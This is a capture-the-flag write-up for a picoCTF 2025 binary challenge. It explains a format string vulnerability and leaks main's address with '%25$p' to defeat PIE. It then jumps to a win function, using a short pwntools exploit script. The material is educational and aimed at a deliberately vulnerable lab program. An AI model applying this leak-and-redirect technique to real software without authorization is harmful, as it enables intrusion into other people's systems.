Problem

Solution

For some reason, I (regretfully) didn’t solve this during the competition period for picoCTF 2025. I realized this while writing my solution for PIE TIME after the fact, and was able to solve this in only a few minutes. In any case, here’s how I did so.

This time, we’re not given the address of main; however, similar to PIE TIME, win is in the same address relative to main, -0x96.

To start, let’s take a look at call_functions:

void call_functions() {  
 char buffer[64];  
 printf("Enter your name:");  
 fgets(buffer, 64, stdin);  
 printf(buffer);  
  
 unsigned long val;  
 printf(" enter the address to jump to, ex => 0x12345: ");  
 scanf("%lx", &val);  
  
 void (*foo)(void) = (void (*)())val;  
 foo();  
}

So our input is written to buffer then printed in a bare printf. If our input contains a format string, it will be evaluated by printf. This is a format string vulnerability!

Suppose we input the pointer format string, %p, what happens? Well, %p will be stored in buffer, then printf(buffer) will be evaluated as printf("%p") which prints the address of buffer. And if we input %p %p, printf("%p %p") will print the address of buffer, followed by the address of the next item on the stack. So if we keep adding %p, we can keep printing items on the stack.

Let’s throw vuln into GDB. When asked for my name, I’ll give a bunch of %p’s (25 to be exact):

%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

This segfaults, but it doesn’t really matter for now:

What we’re really after is the stack register, rsp. Entering x/25gx $rsp will display the first 25 items on the stack:

Notice that many of the entries are some variation of 25 and 70? These are our %p’s! In ASCII, % has the hex value 25, while p has the hex value 70.

What we’re really after, however, is main. It has to be in here somewhere, so I incrementally checked each value using x/gx <address>. Eventually, we find that the 25th item is main:

Therefore, the 25th item on the stack is main by using the format string %25$p, we can print the address of main!

The rest is the same as the previous challenge:

Script

from pwn import *  
  
hostname = ...  
port = ...  
  
p = process("./vuln")  
# p = remote(hostname, port)  
p.recvuntil(b"name:")  
p.sendline(b"%25$p")  
main_addr = int(p.recvline().strip(), 16)  
win_addr = main_addr - 0x96  
p.sendline(hex(win_addr))  
p.recvuntil(b"You won!\n")  
flag = p.recvline()  
print(flag.strip().decode("utf-8"))  
p.close()